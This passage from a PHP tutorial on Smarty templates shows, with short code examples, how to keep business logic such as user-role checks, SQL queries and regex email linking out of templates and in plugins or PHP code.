 <div>Temp: {$forecast.temp}</div>

We’ve moved the business logic (PHP) into the plugin, and we moved presentation (HTML/CSS) to the template. We’re done! Now compare this solution to the previous example, and you can probably recognize what a programmer and template designer would rather work with. This syntax is very easy to understand and maintain.

Of course, there are other ways to approach this problem. You could simply assign $forecast to the template from the PHP code, foregoing the need to create a {get_forecast} plugin altogether:
PHP

 $smarty->assign('forecast',get_forecast($zipcode));
 Smarty
 <div>Temp: {$forecast.temp}</div>

That works too. The first approach allows us to independently fetch the forecast from any template. You can decide for yourself the best way to implement it.
2. Keep PHP constructs separate!

Another common pitfall is embedding PHP constructs (such as objects/classes/functions) into a template when it is better to keep them separate. Let’s take an example of editing an article. We display an article on the page and if the current user is an editor, we want to show the edit buttons too. In our PHP logic we have a $roles object we use to check the user’s role:
PHP

if($roles->isEditor($_SESSION['user_id'])) { /* do something */ }

The first thing a developer may be tempted to do is assign the $roles object directly to the template and use it as such:
Smarty

 {if $roles->isEditor($smarty.session.user_id)}
 ... show edit buttons here ...
 {/if}

This introduces several problems. First, we are creating a tight coupling of the underlying PHP object structure to the template, e.g, we can no longer make changes to the application without directly affecting the template. Second, we are introducing application logic into the template (accessing user roles.) Third, this complicates the template syntax, and you expose PHP class/methods/parameters that may not have anything to do with presentation. The template designer does not need to deal with user roles, they only need to know whether or not to show the edit buttons.

Here is an approach to keep things separate. In our PHP logic, we will assign a simple flag to Smarty:
PHP

 // assign a flag for Smarty
 $smarty->assign('show_edit_buttons',
 $roles->isEditor($_SESSION['user_id']));

And in our template, we use the flag:
Smarty

 {if $show_edit_buttons}
 ... show edit buttons here ...
 {/if}

Now our template focuses purely on the presentation. In some cases a flag name like $is_editor may be more appropriate, depending on what contexts it is used. But you get the basic idea. Keep the business logic out, and focus on presentation.

Now that said, embedding PHP constructs into templates is a fine line. There may be instances where this works better for your implementation. You have the ability to embed them, just be sure you understand the implications.
3. Keep business logic separate!

It may be tempting to create template functions that do neat things, but remember to keep them focused on presentation and not business logic. Here is a prime example of writing a template function that breaks the separation:
Smarty

 {sql statement="select * from categories order by catname limit=$start,$limit" assign="result"}
 {result.catname}
 {/sql}

There are several problems here. First, direct SQL statements are business logic. The designer should not need to know anything about SQL or where content comes from, let alone control exactly how this content is retrieved. Second, we open a potential security hole with SQL statements in the templates. The designer could easily break the SQL statement, the parameters could be wrong, or (depending on where your parameters come from) malicious injection attacks could happen. Here is a much better approach to the above example, using a plugin that cleanly separates the business logic from presentation:
Smarty

 {get_categories limit=10 assign="result"}
 {$result.catname}
 {/get_categories}

In our get_categories block plugin we handle the parameter cleansing and SQL access, and the template focuses purely on presentation. You could also assign $result directly to the template from PHP (probably the more common approach), but this design allows us to retrieve the categories arbitrarily from any template. Use your own judgement for your implementation.
4. How to identify business vs presentation logic

Business logic is normally any logic that does not deal directly with the presentation, or display of content. For instance, regular expressions embedded in the template are normally better handled in PHP, either in a plugin or before content is assigned. Although Smarty ships with a regex_replace modifier, it is normally better to do this in PHP.

Here is an example of using regex_replace. We want to make all emails into links in the description text:
Smarty- business logic in template (bad!)

{$description|regex_replace:"!(\w+@\w+)!":'<a href="mailto:$1">$1/a>'}

It is not immediately obvious what is going on here, unless you are a regex guru. This terse template syntax is a clue that we have business logic in the template. A better approach is to use a custom plugin (modifier):
PHP

 <?php
 /*
 * Smarty plugin
 * -------------------------------------------------------------
 * File:     modifier.link_emails.php
 * Type:     modifier
 * Name:     link_emails
 * Purpose:  make emails in text into HTML links
 * -------------------------------------------------------------
 */
 function smarty_modifier_link_emails($string)
 {
 return preg_replace('!(\w+@\w+)!','<a href="mailto:$1">$1</a>',$string);
 }
 ?>

Smarty

{$description|link_emails}

Now it is perfectly clear what is happening, regardless of the template designer’s knowledge of regular expressions.

Recall that we keep the template designer and application developer roles separate. The purpose of this is to define a separation between presentation and business logic. If the person editing the templates is quite familiar with PHP, that doesn’t mean these rules should not apply. The purpose is to keep the business logic out of the template. This will go a long ways toward fast development, concise template syntax and easy maintenance.

When making decisions where to put logic (in templates or in PHP), try to keep the templates focused on presentation. If you find yourself struggling with template syntax, making syntax too complicated, or trying to access PHP from the templates, there is usually a better approach. Think about the separation, and how to implement it in a way that keeps template syntax minimal and focused on presentation.